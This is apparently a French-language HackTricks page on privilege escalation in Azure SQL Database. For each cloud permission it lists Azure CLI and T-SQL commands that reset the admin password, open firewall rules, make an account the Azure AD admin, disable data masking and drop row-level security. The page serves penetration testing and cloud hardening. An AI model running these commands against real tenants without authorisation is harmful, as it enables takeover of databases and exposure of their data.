Az - SQL Database Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
SQL Database Privesc
Pour plus dâinformations sur SQL Database, consultez :
Microsoft.Sql/servers/read && Microsoft.Sql/servers/write
Avec ces permissions, un utilisateur peut effectuer une Ă©lĂ©vation de privilĂšges en mettant Ă jour ou en crĂ©ant des serveurs SQL Azure et en modifiant des configurations critiques, y compris les identifiants administratifs. Cette permission permet Ă lâutilisateur de mettre Ă jour les propriĂ©tĂ©s du serveur, y compris le mot de passe administrateur du serveur SQL, permettant un accĂšs ou un contrĂŽle non autorisĂ© sur le serveur. Ils peuvent Ă©galement crĂ©er de nouveaux serveurs, introduisant potentiellement une infrastructure fantĂŽme Ă des fins malveillantes. Cela devient particuliĂšrement critique dans les environnements oĂč âMicrosoft Entra Authentication Onlyâ est dĂ©sactivĂ©, car ils peuvent exploiter lâauthentification basĂ©e sur SQL pour obtenir un accĂšs illimitĂ©.
# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>
# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>
De plus, il est nĂ©cessaire dâavoir lâaccĂšs public activĂ© si vous souhaitez accĂ©der depuis un point de terminaison non privĂ©, pour lâactiver :
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true
De plus, avec les autorisations, vous pouvez activer lâidentitĂ© assignĂ©e, et opĂ©rer avec lâidentitĂ© gĂ©rĂ©e attachĂ©e au serveur. Par exemple ici avec une identitĂ© gĂ©rĂ©e qui peut accĂ©der Ă Azure Storage :
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO
CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO
SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO
Microsoft.Sql/servers/firewallRules/write
Un attaquant peut manipuler les rĂšgles de pare-feu sur les serveurs Azure SQL pour permettre un accĂšs non autorisĂ©. Cela peut ĂȘtre exploitĂ© pour ouvrir le serveur Ă des adresses IP spĂ©cifiques ou Ă des plages dâIP entiĂšres, y compris des IP publiques, permettant lâaccĂšs Ă des acteurs malveillants. Cette activitĂ© post-exploitation peut ĂȘtre utilisĂ©e pour contourner les contrĂŽles de sĂ©curitĂ© rĂ©seau existants, Ă©tablir une persistance ou faciliter le mouvement latĂ©ral au sein de lâenvironnement en exposant des ressources sensibles.
# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>
# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>
De plus, la permission Microsoft.Sql/servers/outboundFirewallRules/delete vous permet de supprimer une rĂšgle de pare-feu.
REMARQUE : Il est nĂ©cessaire dâavoir lâaccĂšs public activĂ©.
Microsoft.Sql/servers/ipv6FirewallRules/write
Avec cette permission, vous pouvez crĂ©er, modifier ou supprimer des rĂšgles de pare-feu IPv6 sur un serveur SQL Azure. Cela pourrait permettre Ă un attaquant ou Ă un utilisateur autorisĂ© de contourner les configurations de sĂ©curitĂ© rĂ©seau existantes et dâaccĂ©der de maniĂšre non autorisĂ©e au serveur. En ajoutant une rĂšgle qui permet le trafic de nâimporte quelle adresse IPv6, lâattaquant pourrait ouvrir le serveur Ă un accĂšs externe.
az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>
De plus, la permission Microsoft.Sql/servers/ipv6FirewallRules/delete vous permet de supprimer une rĂšgle de pare-feu.
REMARQUE : Il est nĂ©cessaire dâavoir lâaccĂšs public activĂ©.
Microsoft.Sql/servers/administrators/write && Microsoft.Sql/servers/administrators/read
Avec ces permissions, vous pouvez privesc dans un environnement Azure SQL Server en accĂ©dant aux bases de donnĂ©es SQL et en rĂ©cupĂ©rant des informations critiques. En utilisant la commande ci-dessous, un attaquant ou un utilisateur autorisĂ© peut se dĂ©finir ou dĂ©finir un autre compte comme administrateur Azure AD. Si âMicrosoft Entra Authentication Onlyâ est activĂ©, vous pouvez accĂ©der au serveur et Ă ses instances. Voici la commande pour dĂ©finir lâadministrateur Azure AD pour un serveur SQL :
az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>
Microsoft.Sql/servers/azureADOnlyAuthentications/write && Microsoft.Sql/servers/azureADOnlyAuthentications/read
Avec ces autorisations, vous pouvez configurer et appliquer âAuthentification uniquement Microsoft Entraâ sur un serveur SQL Azure, ce qui pourrait faciliter lâescalade de privilĂšges dans certains scĂ©narios. Un attaquant ou un utilisateur autorisĂ© avec ces autorisations peut activer ou dĂ©sactiver lâauthentification uniquement Azure AD.
#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>
#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>
Microsoft.Sql/servers/databases/dataMaskingPolicies/write
Modifiez (ou désactivez) les politiques de masquage des données sur vos bases de données SQL.
az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'
Supprimer la sécurité au niveau des lignes
Si vous vous connectez en tant quâadmin, vous pouvez supprimer les politiques de lâadmin lui-mĂȘme et dâautres utilisateurs.
DROP SECURITY POLICY [Name_of_policy];
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

